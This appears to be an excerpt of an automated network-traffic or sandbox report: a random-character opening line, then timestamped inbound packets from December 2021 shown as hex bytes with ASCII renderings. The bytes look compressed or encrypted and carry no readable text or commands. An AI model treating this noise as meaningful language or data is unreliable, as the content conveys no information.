!o`:1s(&EN0DNi{6F@>-WPq>4[$57ZfRqH30L:#KuM1lsyo!$?io#m?'!~#nJt~C*?F[JM}< ;N>@+"M
2021-12-28 17:13:33 UTC	31	IN	Data Raw: de cc 59 a4 b7 b1 4b 73 0d 4c 21 e8 94 55 cc a5 f3 9c f2 a0 d4 a8 8d 9a bb a5 6a 63 5a bb 16 9d 9f ce 6f 82 7a d6 a3 c3 9c 9d 8f 33 7b 72 c9 e1 98 fe aa 88 7f 15 30 9c 8a 2d 22 4c 96 8d 52 a7 ad bc 79 60 fb 93 2f 96 5e 21 41 9d 80 a7 e9 dd db 78 65 62 1a 9e a4 c2 25 b6 01 26 5a bd 26 9b 8d 04 85 bd cc 6a 8d 8e 31 00 bd b6 f6 d7 fb bf 80 ec 65 a1 18 ee 05 cb 3c e6 2f 79 f0 4e 5a b9 d1 ce 62 ac 00 c6 7d 31 17 b8 27 5f 29 a0 54 46 93 41 e3 22 d0 b4 7a 48 d9 8d 11 89 87 11 34 2f e7 fd 3e 04 f4 74 89 d2 b4 4a 2f a8 99 a5 18 cc 18 5a c2 66 b1 27 3d 32 dc 06 1c fb 4f cb 91 85 54 90 5d a4 78 2c da e6 a3 ea b5 ee a3 dc 3f e6 c9 f0 4c 0c 94 21 8a 03 d1 e5 3d dd cb 29 64 29 5a d0 84 3a 46 2f 4a 84 82 76 74 df 92 23 9f bc e4 f3 97 88 20 d1 0c 2b 0b 69 6a a3 48 d9 53 Data Ascii: YKsL!UjcZoz3{r0-"LRy`/^!Axeb%&Z&j1e</yNZb}1'_)TFA"zH4/>tJ/Zf'=2OT]x,?L!=)d)Z:F/Jvt# +ijHS
2021-12-28 17:13:33 UTC	33	IN	Data Raw: fb e1 7b e4 9f 88 2a 56 5f 53 e9 5c fc 39 76 6b 67 36 1a cc 39 69 66 d9 67 79 9c 82 13 f4 05 04 97 81 e9 40 cc fe a0 90 f5 0c 80 0e a6 ae 66 59 59 1f 64 85 70 8d 93 a9 f7 d3 e7 b4 a4 69 bf 3d fa 09 f6 05 60 d9 c2 34 fa 00 ef 17 43 49 0a 47 76 54 f3 1d b2 89 88 f6 73 fd 2c 18 65 87 5d 6e 6b 00 51 8d fb 48 c3 68 f1 3b 42 aa 27 64 36 96 5c 8b ec b4 ab 45 4b 1b c2 2a 6b 26 68 6b 0f bb 84 d4 b4 40 b6 eb 16 b4 00 25 56 b7 1d 2d c5 b3 37 1a fe 90 16 c1 bb 40 ed a0 db 72 40 96 e1 44 28 20 6e d4 df 68 33 99 81 51 50 6f 54 dc 46 f1 28 ec ca 53 36 6f 61 3c a5 bd a6 0b 9c 78 59 df 51 70 d5 d4 f4 e1 3b f7 86 37 48 c6 ff 13 7d 6d 24 fb ba 6e e2 4a d7 e1 f2 a7 73 6c 85 6f 3a 0d 30 1c 95 14 d4 50 ba 99 4d a5 f7 aa a4 b9 e3 69 e4 85 02 6c dc 00 f0 1a 28 e2 d8 8d 32 f5 fa Data Ascii: {V_S\9vkg69ifgy@fYYdpi=`4CIGvTs,e]nkQHh;B'd6\EKk&hk@%V-7@r@D( nh3QPoTF(S6oa<xYQp;7H}m$nJslo:0PMil(2
2021-12-28 17:13:33 UTC	34	IN	Data Raw: 51 8f 65 c6 3a e8 eb 90 69 57 c5 83 53 78 47 4b 12 d1 bf ed 5d 05 2b 1b 6b 3b 26 06 53 1e 44 3c b8 af 0b 1c 78 60 b5 ea 8a 20 54 47 59 48 08 ae 88 0b ed 5f df 9d d5 9a ed ca 1a 40 1c 12 44 38 4e fa f6 83 22 7d 1e e6 29 ee 71 bb 80 3d 10 d5 10 ac c8 99 f5 98 d0 a2 95 da 5c cf 24 8e 76 f0 a7 27 b2 4b 56 da b5 94 b3 39 59 9c d3 6a 7d dc 0c e5 b8 56 04 04 41 10 73 55 d6 d1 9c 04 7e 5a 81 2b ee 9a e2 8a a7 be 1c 18 47 e7 ad 7e 63 e5 0b fa 21 d6 3c 45 4c 3e 8e 48 89 8d 95 de c8 34 3a 00 44 35 a3 9b 6a 6b 0d ba c6 e0 66 88 9a 5e d4 a8 29 30 4e 47 83 e8 00 6c 6a 94 05 f4 5e ec 03 cb 11 1e 72 38 64 19 40 21 0c 69 e3 12 7a 41 0b 48 26 b8 ce b3 e1 b2 01 02 f6 7c d3 d7 54 0c be 2e e1 3f cb 9f ac 0c 1e e6 34 ba dc a7 a4 62 48 9f e0 ba 0e 00 ac 3a 1c bf 93 30 ea 91 f2 Data Ascii: Qe:iWSxGK]+k;&SD<x` TGYH_@D8N"})q=\$v'KV9Yj}VAsU~Z+G~c!<EL>H4:D5jkf^)0NGlj^r8d@!izAH&\|T.?4bH:0
2021-12-28 17:13:33 UTC	35	IN	Data Raw: 22 0b 85 d1 40 07 64 d0 57 a7 5e fe f4 93 e6 2e 36 47 6e 9b 76 2d be 4c 04 cc 64 1e c2 05 22 82 78 ee 23 21 ae a4 6d 00 40 51 db 05 4d 0f 14 24 0d 2c 92 bd 7a 30 88 85 0d f4 ee 8f 4a 52 8d e0 8d 1c 84 8c 81 2d 0a fa 5a 64 2f 3c 5b ae db a8 90 d8 e7 0b ca fe 32 81 b7 3a 11 c9 92 3f 0d 7d fb 0e 2a 86 0c 29 a8 a8 e6 5e 97 ca c6 e4 28 fc 66 ba 60 0c 73 44 d3 86 f0 ff 10 5d d4 58 59 1e 12 52 06 50 8a cd 01 2a 01 69 eb 15 f8 ce 1a dd b0 27 7e 14 33 fe 63 b9 73 0d 1c 6a 6e 07 43 e5 04 3d 83 0a 92 5c d8 f1 3d 6f ab 79 d8 ea 9d 8d 76 77 34 95 99 f0 8b 01 f0 56 ef 19 b0 cd 58 04 09 2e de f6 52 5f d4 d4 4e 5f 10 b4 d0 81 ff 03 8c 15 24 13 c0 f7 68 88 cb fc e8 90 a3 e5 60 2c 3c fb 17 83 74 e5 9e 5c 12 eb dc 93 ec ff 2b b8 de cc d5 08 31 57 38 59 0b 09 22 5d 93 b9 4b Data Ascii: "@dW^.6Gnv-Ld"x#!m@QM$,z0JR-Zd/<[2:?})^(f`sD]XYRPi'~3csjnC=\=oyvw4VX.R_N_$h`,<t\+1W8Y"]K
2021-12-28 17:13:33 UTC	37	IN	Data Raw: e8 4e 79 20 b7 90 d9 2e 63 57 87 db 7a 73 2d 95 90 52 63 f7 54 19 0d a7 55 83 03 49 aa b4 ca 8f 72 97 71 4e 12 e6 11 19 39 cf fd 7e 83 23 02 c1 a1 05 4a 8c 1f 72 56 e9 a6 63 80 67 d8 ca 1e 88 74 37 48 57 08 0d 7e b9 29 b4 9c c0 8b 47 6f 13 ee 5d 40 f1 90 32 0e 3e c1 64 51 99 aa f4 93 f4 e1 48 c5 94 29 6f ff 12 2a df b3 db 68 ba 7f 7f 26 ec 48 08 23 70 99 6b 4d 52 0c 43 a1 4f 9f 45 ea f2 42 48 4a 7a 7a ad f5 69 21 b6 e9 4d d2 69 76 24 e8 11 32 7c f6 ad d1 b8 db 88 a9 06 73 e9 07 44 aa ee 53 5d cf 3a 14 d4 c7 13 b4 ba aa ac 3e e9 4c 92 23 01 f4 a0 03 22 fa e0 b8 36 7c 73 0d 58 c1 8f 7b fa fa 94 f1 c1 dd 41 6b fa 59 88 aa 0e 04 9d a7 f7 86 9b 60 1d 18 35 5e 95 47 b6 4a ca 39 6a 97 db 45 8d 95 ee 0b 97 1e 76 6c 1c 76 7c 8c 66 e5 d3 5b 2d 5b af f3 89 7e 58 e4 Data Ascii: Ny .cWzs-RcTUIrqN9~#JrVcgt7HW~)Go]@2>dQH)o*h&H#pkMRCOEBHJzzi!Miv$2\|sDS]:>L#"6\|sX{AkY`5^GJ9jEvlv\|f[-[~X
2021-12-28 17:13:33 UTC	38	IN	Data Raw: 81 e3 ce 13 81 b3 3b 15 b8 62 14 44 03 47 68 4a f7 3e 4f ff f7 8a eb ef d2 68 7e f0 d8 99 1f 7e a3 34 7f 48 71 2c 04 9d b0 d2 af 7b 23 d8 e7 51 43 dd 85 82 f1 94 a0 fe b7 ba be 3d af 1b 64 e0 2c 6d 64 a9 31 69 a8 e0 9f d0 b7 37 99 e6 7d e3 a0 67 32 3b fc f2 d6 1d a7 93 75 71 cf fe bb 8e cc ad fc 49 6a 34 0a 0a 5e 69 ec d1 e3 42 e1 35 38 27 8a 11 e4 a9 26 78 c0 a3 d7 09 3d fb b6 a2 7a bc b7 16 02 dc 3d 3d b6 3e bc ad 1e c6 66 bf 3b be 9e 6e 87 7a 70 3d 8b c2 58 4f 08 20 4d 2b a9 1b 23 e6 d5 ab 14 c6 70 b2 a0 7d b5 72 e0 9c 13 4f 1d 94 dd 02 6e ba f5 4b 9d ef fb aa f4 5b 19 8b b6 6a 7f fc fe c5 92 c3 6e 6a 1e 5b 05 29 b8 37 7c f2 2d 98 d7 3b f5 bc 83 0c 3c d3 d4 60 2f 01 c9 63 a5 90 2c 4d c5 ba 5e 48 3c 8e c4 14 2f 81 f8 1d ae f6 58 7f 31 74 96 de 46 96 6a Data Ascii: ;bDGhJ>Oh~~4Hq,{#QC=d,md1i7}g2;uqIj4^iB58'&x=z==>f;nzp=XO M+#p}rOnK[jnj[)7\|-;<`/c,M^H</X1tFj
2021-12-28 17:13:33 UTC	40	IN	Data Raw: d2 1e be f7 61 2b 08 9c c4 71 67 22 82 c8 ce 01 56 29 dc a7 90 dc c1 ea 6e 52 1e 3d 49 3d ea 7c 14 35 8a 05 9e dc c1 e4 dd e4 a6 d4 e5 b1 dd 7d d0 43 f5 9d 07 82 45 2c f8 58 91 11 e1 b9 9b 9c 62 3c 58 ac d5 1e a0 40 ca 5d a4 86 4a e8 02 1e f1 26 39 d0 b1 ab 86 23 9f 4a a6 41 a7 7d c0 5c e0 dd cd 50 be 20 47 05 ef d4 8e 4a a8 91 6a 82 e2 e3 5c b4 59 63 01 5f 56 c2 6e 2d e1 02 00 62 5f 79 b3 38 18 2a 76 d6 31 4d 32 3a b9 cb 83 54 69 f3 3b 2d 55 17 43 01 84 1a ad 5e dc 1b 39 53 c4 7b 59 d4 f6 5d 35 ea 06 14 7f 82 75 6c 0a 5b b6 38 e3 9b 3a 86 41 66 16 55 e2 40 cb bc df 9c 1d e8 07 a5 c2 fb 6f 47 d9 36 e9 91 a8 65 8f bb 58 3a 27 15 b3 93 9f 16 00 4a 36 8b f6 e2 49 85 a8 77 0e 20 95 61 90 e4 f1 a0 fd 74 fd 5e 4b ff 5c 1d fa 60 45 9a fb 33 cd 27 51 c4 6e d2 f4 Data Ascii: a+qg"V)nR=I=\|5}CE,Xb<X@]J&9#JA}\P GJj\Yc_Vn-b_y8*v1M2:Ti;-UC^9S{Y]5ul[8:AfU@oG6eX:'J6Iw at^K\`E3'Qn
2021-12-28 17:13:33 UTC	41	IN	Data Raw: e3 1e 8c b2 b9 06 ff ab 83 3c 44 83 be 04 da d7 90 0d 0f ec a9 a4 15 c1 f1 f2 6e 73 40 75 52 d8 61 50 40 c6 0c 31 c6 b5 6a df f3 c2 f5 f5 23 64 b6 41 9f d0 bb 78 c2 ac 27 89 75 7f ac 8a 8c ce 5b 09 22 a4 0b 7e be 78 56 ea 3e 22 bd d7 5d ae 0c 3b d8 a7 ef 04 63 76 c9 26 24 66 96 f0 a9 4a 7d 16 db 92 47 a1 e6 23 7c d6 ae 77 ac 70 e5 98 71 9c a0 cc 85 7e e9 af 2f 7b 06 be ca ce d9 e3 68 f3 5e df c7 e6 6c fe 4d 8a 1e 38 81 8c 17 55 70 62 70 e8 a6 4d 49 29 f5 23 ef 7e 03 67 69 62 4e 64 1a 56 10 75 2a bc 8a 20 57 c8 72 dc f4 8a c9 71 65 82 3c 6f c4 98 0e 9b 85 1a 9c f1 b0 14 4f c9 4e 83 65 b6 f8 50 78 91 ff a8 cd 33 6d 50 8a 2f 91 39 d5 5a bb aa 7c 9b 6c d2 e8 4c 59 66 13 71 4f bf 47 4c df 28 20 7f e0 46 41 96 5a 3e 78 97 c8 2b 34 63 09 a2 48 fc 3c 10 ac 0b d0 Data Ascii: <Dns@uRaP@1j#dAx'u["~xV>"];cv&$fJ}G#\|wpq~/{h^lM8UpbpMI)#~gibNdVu* Wrqe<oONePx3mP/9Z\|lLYfqOGL( FAZ>x+4cH<
2021-12-28 17:13:33 UTC	42	IN	Data Raw: 59 80 6a ee d3 fd df f3 f3 73 bf 4c 60 27 9e 3d 86 80 de 5d fc 4a 6f ee 35 29 03 67 30 35 68 6a 22 22 d3 47 3b 8e 14 42 ed ee cb 7c 38 29 1c a6 ce 18 f0 80 74 78 d8 a2 43 df d2 bb 1f 15 9f 4f b1 62 b4 f2 82 c1 4f 39 84 47 fb ab 0b b6 16 9b ce 46 41 f4 6b 95 18 01 fa 27 42 0f 39 65 cb 53 c4 f5 43 04 08 a6 1d cb dd e3 27 4c 58 5a 67 da a8 9f 88 f4 ae c1 d5 49 32 50 e2 6e c5 65 bc f3 a5 43 7c 9e 52 fb 8b 92 3d f3 e2 cb c4 41 b9 13 9f 04 65 d2 dd 84 a8 4c 12 bb da ac 60 c2 5a ae e0 dd ac c3 5d 2d 40 5f 17 54 28 a1 88 e5 26 23 e2 ab 66 0e 7c d3 9f 26 06 2b 16 ae 23 5a 86 d4 7e 9f bd ac 45 84 65 32 d2 ad 34 72 63 8e 50 e5 f0 74 ae b8 e0 a4 bf ba c9 71 d5 6e 95 5c a2 c0 16 ae c6 3e f4 c9 4f fa cc 02 e1 98 ae a1 0c b4 03 14 76 39 07 79 d0 32 07 2a bb f6 03 e3 fa Data Ascii: YjsL`'=]Jo5)g05hj""G;B\|8)txCObO9GFAk'B9eSC'LXZgI2PneC\|R=AeL`Z]-@_T(&#f\|&+#Z~Ee24rcPtqn\>Ov9y2*
2021-12-28 17:13:33 UTC	44	IN	Data Raw: 57 c6 07 bd 21 80 11 59 d5 7c 27 b5 9c f2 d6 e4 0c 39 73 58 3e 59 e1 95 ba e3 b5 98 52 41 04 01 1c a3 85 09 66 c2 ac f7 3c c4 fe 4d a7 a0 04 15 43 a6 c5 2c 03 33 d1 16 dc ae fc 98 a0 c0 41 65 da 56 60 43 ee ed 24 30 a2 9a 23 7d 3f 44 96 61 e9 6f 25 d2 97 a3 70 2c 57 bd 02 75 5a aa ef c5 6f 63 d5 77 b0 4c c4 bd b5 cc 42 d8 01 f7 ae 84 d0 ff 89 61 69 4d 35 43 de 09 d8 96 d6 ba ce 19 a2 df eb c9 5a 50 f5 a2 08 64 44 e4 63 95 b8 04 9e 3f 80 8f 0b fe eb ef e4 25 46 98 31 61 cc 37 40 75 ec 5b e6 b5 c0 34 a0 2f cc 8f 07 84 a0 84 8a 4f e6 21 4c 43 60 15 02 95 71 aa 2c db 60 17 a4 07 61 6c a6 0f e7 8b c0 06 2e 63 db ed 59 2b a2 bf c0 80 c0 3e bc 17 c6 84 2f 0a ff 78 3f 5e 3e 1c 98 3c 1c 7a d1 83 10 81 ba c1 49 0a 76 fd bf 9b 87 3a 75 43 29 94 17 ff d8 60 b5 6c 48 Data Ascii: W!Y\|'9sX>YRAf<MC,3AeV`C$0#}?Dao%p,WuZocwLBaiM5CZPdDc?%F1a7@u[4/O!LC`q,`al.cY+>/x?^><zIv:uC)`lH
2021-12-28 17:13:33 UTC	45	IN	Data Raw: 73 e1 0d a8 3b d3 4f 1e e2 b2 45 e0 3e 04 83 1c a0 73 64 a1 9b 9b 12 bb 51 f5 ea d9 db 75 48 2e 1a 1f 2f 3e 15 7e 3f 80 84 9e fe 39 56 5e 6c 42 d0 6f 9e f3 79 82 9b 9b 65 01 d5 fe 1e 30 70 3b 88 1b 17 db 18 de 5c 11 d5 a8 59 48 2e 84 36 8c 8c 5a 83 60 28 84 bd 85 1f 0f 1e ad d6 cc 2f d9 6d 15 2c 55 b7 85 25 6e 49 ea 0a bb 94 33 fa 7e 56 65 1e ed 81 86 a3 eb 2e 0f ac 79 fd 34 b8 6a ab 6a 12 01 b4 22 d1 49 92 67 8c 56 6d ab 9f 50 91 ca 86 16 e4 9f 8e 31 d3 83 69 c3 c2 6f 56 2a 1d 2b b5 b0 90 21 9b ee f0 c5 f9 01 65 76 a5 f6 c5 e5 65 5d 97 6d 24 c0 71 ac 00 d0 b8 1f ea 89 10 7b 79 9e ce 20 66 6f 36 71 a6 43 ce 5a bd 1d 17 9c b9 37 58 58 50 a9 21 1d 8e be d1 13 6c 79 1f b1 4d 32 8f f8 5b 15 c6 3c c3 b5 bf 9b 80 77 8e 63 1e e6 25 38 f6 60 f7 48 ab e7 11 af 11 Data Ascii: s;OE>sdQuH./>~?9V^lBoye0p;\YH.6Z`(/m,U%nI3~Ve.y4jj"IgVmP1ioV*+!eve]m$q{y fo6qCZ7XXP!lyM2[<wc%8`H
2021-12-28 17:13:33 UTC	46	IN	Data Raw: 9d 30 9c e8 ce 60 ca 74 62 47 be 78 30 dc 4c 1a f9 28 fb 8a bb 42 a6 88 69 37 a2 6a 39 77 94 d5 3e e6 28 c3 de f8 91 a4 31 9d 94 f6 3f 37 6c 74 86 18 c7 b7 82 f9 56 c1 17 c0 e8 3a 85 16 1a a5 12 3a 17 cf ef 81 d0 dd f8 3b 9a 65 e8 99 e9 ca 64 26 f4 4b 8d d2 ba 3b 6a 61 97 19 33 b2 09 bd 6f 3c 23 42 fc a4 67 97 11 d6 0f a0 ab 3a b6 ad 26 d0 c8 a7 79 1a eb 17 a2 bd bf 70 40 d7 59 83 cf b9 8f ec d4 09 f1 1d 7b e7 7a 1c 73 83 16 30 45 ac 39 c4 5f 43 5c 59 b7 79 6f ae 54 e8 7f 01 06 46 3d 66 6a 0f 7b 7b dc 34 0d e9 6b d8 19 cd ef 10 e4 39 6a b2 d6 00 4b 19 ed e7 4e ae e3 03 21 d9 f8 d8 38 39 d3 34 11 b8 4e 3a f9 22 22 c4 05 1d ec c6 ef 4f 15 e7 44 f3 40 7c 3b 65 68 ae d1 07 06 38 89 29 c5 e9 77 b7 3a 9d a7 f2 3b 11 50 8d a2 4f 18 15 b7 9d 84 ac 97 86 0f c6 b7 Data Ascii: 0`tbGx0L(Bi7j9w>(1?7ltV::;ed&K;ja3o<#Bg:&yp@Y{zs0E9_C\YyoTF=fj{{4k9jKN!894N:""OD@\|;eh8)w:;PO
2021-12-28 17:13:33 UTC	48	IN	Data Raw: 55 a3 2d c6 76 44 01 3d df 5b e1 f8 73 fe ae 00 4d f2 07 21 7a 83 7b 2c 8c f0 8a bc 9b 69 be ef 1c 56 f2 7b 0b f2 95 52 43 6a f9 1f ba 98 2d 36 76 76 88 7e 23 9d fb 3e 45 74 d5 2d 87 d7 72 f1 17 f5 77 2c 3f ab 06 3a 40 8f eb 5e 85 e7 e4 ee 4a 7e fb fb 6b 43 fd b4 2a 42 3d 3a 97 8a b5 cf 70 9c 83 dc da c2 cc bd b3 23 e9 dc e5 79 ce 37 4a 31 ce 51 e2 7f 1a 42 d0 54 da 8d b7 7f 0d 7e e0 9b a2 9b e1 c9 13 ef 5b ae 1f d7 7c 76 c2 99 f4 67 2a 4b 03 f6 37 ea ff bf ab 6b c2 73 cd 8e 4c aa 67 96 f5 3f b9 f2 5f 80 6f 7e b2 0f c5 9f f8 31 52 79 db 84 2b 66 80 7a 1c f3 d1 d0 8e 0b 57 d5 7f f4 af 26 5e cf 56 46 1d c3 94 f8 1f 8a 45 4a 02 bd 08 9f 55 9b 7c ad 22 1e 2e a1 1f c0 24 43 c3 ed 0f 79 b7 d3 ab fe 3e 1d 54 73 fc e2 a8 55 cd fb 25 08 35 ee 83 84 02 d9 e1 e3 e1 Data Ascii: U-vD=[sM!z{,iV{RCj-6vv~#>Et-rw,?:@^J~kCB=:p#y7J1QBT~[\|vgK7ksLg?_o~1Ry+fzW&^VFEJU\|".$Cy>TsU%5
2021-12-28 17:13:33 UTC	49	IN	Data Raw: e8 5e 3c e8 a3 d7 ed 79 65 1e e7 4a 18 f5 01 e1 96 ca 88 52 b4 03 82 e0 d7 46 da f9 e8 70 a8 2a 5c c7 15 30 9d 15 78 32 a6 6d bc 8f b6 c8 48 68 7e a0 ff 09 02 c0 0a ce 1c b2 30 e5 c0 c0 19 fe db 8b d2 ed 60 ad 41 33 63 69 b3 b7 68 4c e9 ca ce 3a f1 c0 40 61 af db 30 da ff 81 2d 80 82 50 45 cf 20 ce 17 e1 39 51 d5 34 e4 bb d5 d1 51 10 6c ef fa c2 2b 59 0b c2 80 bd 3e 49 94 68 cb 0b 14 ad a2 ad a0 d9 8a d8 32 84 6a c5 fc 7c 29 00 86 f1 12 51 fa b7 6f d0 85 16 4a cd fe 38 8f b7 0b 68 49 db ac 2d 0a e5 0b de 85 6e 42 39 b8 9f 06 13 35 97 c7 52 63 5e cb 03 35 fb f3 1f de 90 14 12 d8 a0 42 90 ac 08 41 51 84 f6 70 be 83 07 40 4d ec 1c b9 e7 11 52 31 c1 fb 2e de 6a f9 fc 81 c1 03 88 64 42 61 66 19 27 6d 32 9d 4f 51 70 b0 2f 8e 81 ff 53 2b 1e f3 4d f3 a6 d7 54 58 Data Ascii: ^<yeJRFp*\0x2mHh~0`A3cihL:@a0-PE 9Q4Ql+Y>Ih2j\|)QoJ8hI-nB95Rc^5BAQp@MR1.jdBaf'm2OQp/S+MTX
2021-12-28 17:13:33 UTC	50	IN	Data Raw: 63 df 78 ec 7f 28 ee 42 e6 f7 c4 03 53 36 7b 84 f2 80 0b be 08 da 1f ee e2 28 29 d3 c5 ea 1a 3f 1d 16 19 a8 37 a9 a8 ae f6 07 5d 23 22 40 60 d4 11 76 5e 5f dd 61 2d 6c b0 90 a8 02 fd 1d 48 d7 c4 51 8f 52 63 a1 ad 63 24 59 d7 b5 bf 58 6c aa 63 62 20 28 d5 af ba 59 09 28 51 60 a6 d4 6c 2a d6 8c de bd 37 71 af db d8 2f f4 cc 2c ab 70 5e f7 b4 db c7 8a 05 68 18 67 8e 3a 98 9e 85 9a fe 84 2e 02 c1 11 b6 82 c2 14 71 3e 28 cc 92 c1 47 5e 4b 1a ae 8f e3 e0 54 55 83 e8 55 17 4d 25 f1 f0 15 46 10 8a bc 4d 71 97 f4 3e 62 b7 51 c4 82 b4 4a 31 c5 9b 94 32 fa d6 4f e4 c8 28 a3 59 fc b4 4d 8d 71 e4 5e 30 ac 83 02 8b ec 00 ee d3 f7 5c 42 c6 e9 04 50 d4 65 4d f3 6a 00 a7 bd 00 21 6d 58 51 63 03 9a 24 4e 73 01 88 d1 f5 36 16 bf 5d 95 e6 4d 46 9e 6c 53 a1 c8 6a 45 00 50 2b Data Ascii: cx(BS6{()?7]#"@`v^_a-lHQRcc$YXlcb (Y(Q`l*7q/,p^hg:.q>(G^KTUUM%FMq>bQJ12O(YMq^0\BPeMj!mXQc$Ns6]MFlSjEP+
2021-12-28 17:13:33 UTC	52	IN	Data Raw: 6b 99 9d d8 2d 29 04 97 a7 d9 b1 94 22 62 85 15 e7 48 9c fa 36 a5 46 98 66 59 58 8a 06 57 e3 2f da a6 23 47 8a 82 d2 83 fa ae 6b 07 8d 33 01 fc dc 1e c5 47 37 96 e6 3a ab 3b ac bf e6 d0 4f 9e 27 14 db ae f5 88 25 b6 fe 3d e6 72 d0 c0 56 eb 22 f9 40 e4 14 f2 83 fb 1b 1b 17 b2 fe 56 bc bb 49 97 c7 ea 46 2e 16 0a 17 71 d2 b1 71 c9 de 48 10 4e 7a a6 cd fa fa 45 e5 38 aa 36 fa 52 49 d9 82 72 0f 7f 28 fc 56 2e 61 21 a1 94 8f 2c ad d9 c7 d0 f4 58 6f 34 af bc f8 f3 72 fb 84 fb f6 f0 e8 14 b2 2a 49 78 82 9d e0 23 72 6c a0 9e ee 63 64 af bc 52 37 56 49 0e c4 57 61 71 71 bf e5 a4 33 a7 b7 b1 f7 9f 2e 1b ff 68 57 12 e6 3a ad 8e 07 0e 09 b6 8d af 7f bf 46 05 fc db 24 c2 92 ce d8 4b 92 ca e0 50 57 1f ea 03 e7 52 55 8e 5f ec 45 36 f5 c5 da de de 4f bb a7 7f 2f d9 97 67 Data Ascii: k-)"bH6FfYXW/#Gk3G7:;O'%=rV"@VIF.qqHNzE86RIr(V.a!,Xo4r*Ix#rlcdR7VIWaqq3.hW:F$KPWRU_E6O/g
2021-12-28 17:13:33 UTC	53	IN	Data Raw: 56 fc e2 cc 53 a9 66 f5 0c 48 68 ca 8e fb aa c4 ff 2b 8b d2 39 fa 55 30 ec a2 46 bb 5f cf c4 7a 59 f3 ad 73 a6 d2 9d 46 3b 7f de 89 91 3b 3a aa 02 69 ee d4 f4 51 86 2f 19 2e 44 28 96 8e d9 34 c2 3b d4 40 6a a4 b5 59 3d af 12 47 68 33 bf 55 58 ef 97 aa 30 41 25 fa 71 3b ce 36 8d f8 62 34 77 42 f6 b7 01 5f 77 2a 42 ee 64 7f 9d 2f 19 82 c1 60 d7 d9 75 bd de 6a 72 b5 1f e2 f3 ab 2d 60 6f 06 f9 7d 56 a4 ca 3f 01 5f 46 1d ba 19 5e c5 3d a4 bd b0 f0 57 37 fb 8e 64 cf a5 64 fc 67 e5 de f0 dd e0 a4 dc fa f7 da 85 bf 34 e6 7d f5 21 22 9f 02 b9 69 d1 f4 14 66 ed 67 78 bc 96 74 bb db d6 e3 27 c4 9e dd aa 3c 17 30 f4 50 e4 e7 9f 23 26 a7 a7 1d 59 d8 50 51 e1 b6 d6 ef b6 74 03 75 7c 29 ad 3f b6 81 46 37 3d ee 38 25 44 47 7c 2e 43 ff f4 7b 7e 9e a2 57 04 9a f8 86 83 d3 Data Ascii: VSfHh+9U0F_zYsF;;:iQ/.D(4;@jY=Gh3UX0A%q;6b4wB_w*Bd/`ujr-`o}V?_F^=W7ddg4}!"ifgxt'<0P#&YPQtu\|)?F7=8%DG\|.C{~W
2021-12-28 17:13:33 UTC	54	IN	Data Raw: 7e ee 94 80 3e 9f ee 1f 7c f8 08 ce f1 88 da 14 e7 91 9b 57 8e b3 80 55 9a e1 66 ba 93 95 40 7a b3 a8 84 6d 40 a9 03 cc 8b dc cf c1 d4 78 92 a9 e5 bb d1 a4 99 29 0d 4b 05 2e 96 e3 b2 69 a4 78 bf f6 7e d9 35 56 0e 14 75 51 51 87 55 35 37 55 87 85 0a 2b 60 0b fc 3f 77 57 dd a5 11 0c 59 d1 61 9c 62 61 a4 16 cd 7a 36 5f 64 f4 6b e8 bc 01 d4 cf 49 7e eb 35 4c ef 0a 82 c7 44 d0 4b 49 e1 54 a1 1b 28 0d e1 d6 18 3e 1c 81 c1 f5 f2 47 02 82 bf 97 37 f4 f0 b2 59 84 36 13 33 6e ad 0f 13 85 5b ca 38 db de ab 5a 0d eb f5 85 1c 11 91 c7 06 db 87 22 60 40 05 3f fe 56 e1 a4 d2 e0 bd 76 15 d7 69 a9 df 4b 79 97 02 bb b4 bb f4 af 12 91 f6 23 17 33 ce 66 50 90 53 4b 9f c6 7a 1d aa 59 13 a6 e7 a5 ca cd de 17 72 0c 03 7e 2e 50 62 38 8b 28 36 cf c1 c8 e2 7a cf 8c 29 ed 35 66 36 Data Ascii: ~>\|WUf@zm@x)K.ix~5VuQQU57U+`?wWYabaz6_dkI~5LDKIT(>G7Y63n[8Z"`@?VviKy#3fPSKzYr~.Pb8(6z)5f6
2021-12-28 17:13:33 UTC	58	IN	Data Raw: 36 0f 01 e3 4f fe c0 6f fd e4 ae e4 ff 87 08 a0 a4 3f cd cd 57 e8 10 e3 1e e6 8d 94 f3 94 d0 59 75 02 06 ed 59 7e c2 90 40 10 d5 fa 4f eb eb 7d 89 f1 4f 7d e5 c2 0d 25 d7 bb 2c 99 c2 64 0e c3 ac d9 1b cb 06 55 f7 9b 40 7a 0b 35 8f bb 23 04 6b 53 a4 44 8b 59 01 33 bf 13 ea b3 b7 b9 28 c0 25 a0 3c e3 50 72 d2 17 28 69 0a 79 2f bf 52 0c ed 37 58 c4 ba 7e b3 d8 38 c0 aa c8 91 be b4 a8 cf 33 6c 49 70 92 b2 8f f6 43 e5 ff 1d 70 40 71 0e cf 53 38 66 f2 ec cf 20 cf 17 6e 53 7d cd 79 49 a8 e1 75 35 2e ff d2 55 6f e4 21 74 22 13 37 04 9c 7f 65 b7 43 61 cd 5b 1c 0d f5 a0 4b 43 49 ba b2 9b ce d1 70 b0 de 76 07 ff af 6c 52 cb c4 43 2d 2d 0c a7 3e be 2d a4 94 df b0 13 b0 01 b6 83 08 f1 8a 4b 8f fd a2 10 0f 1d 11 94 bd 12 ab af dd 21 83 30 17 7c 45 23 34 9f 4f 87 87 3c Data Ascii: 6Oo?WYuY~@O}O}%,dU@z5#kSDY3(%<Pr(iy/R7X~83lIpCp@qS8f nS}yIu5.Uo!t"7eCa[KCIpvlRC-->-K!0\|E#4O<
2021-12-28 17:13:33 UTC	62	IN	Data Raw: 2d 83 d8 d8 e3 de 03 1d be be 40 6b ee be cd 44 66 b4 09 03 08 32 c2 10 d0 bf ff 6e a3 90 ef 8a 48 a0 79 f9 ce c0 3e 33 a4 27 0c c9 60 db 21 27 bb ac 0a b7 7a f7 86 36 0d d3 10 90 e3 2c c7 8a 96 35 4c 79 fb 1b cf a2 7e f5 80 89 f3 7e 6f 04 02 7c d8 ac 59 d6 8a 04 72 38 d8 23 f7 07 4f 5a ff 02 6c 6f 21 51 cf 15 db ca b5 93 f4 0c a8 85 af 9a 3f 1a 06 55 43 da 69 98 74 ff 5f f9 ad 88 38 1c 8c 98 a5 8f b2 47 06 12 20 ca b3 32 68 5f df f4 06 28 64 fe f6 bd da 8f 5d 0d 7a 28 24 34 c2 30 d3 ca 19 fd 8e 33 88 70 5b b9 c1 96 c6 70 ad 69 a4 c2 cf 50 fa fd 2d e4 07 74 3c 35 96 19 46 b7 9d 6e 12 f1 9d 72 1a 8b 70 1b 30 89 df 07 91 82 ed 09 0b 6e 40 60 a9 75 56 a4 d3 27 8c e8 fc 7a 13 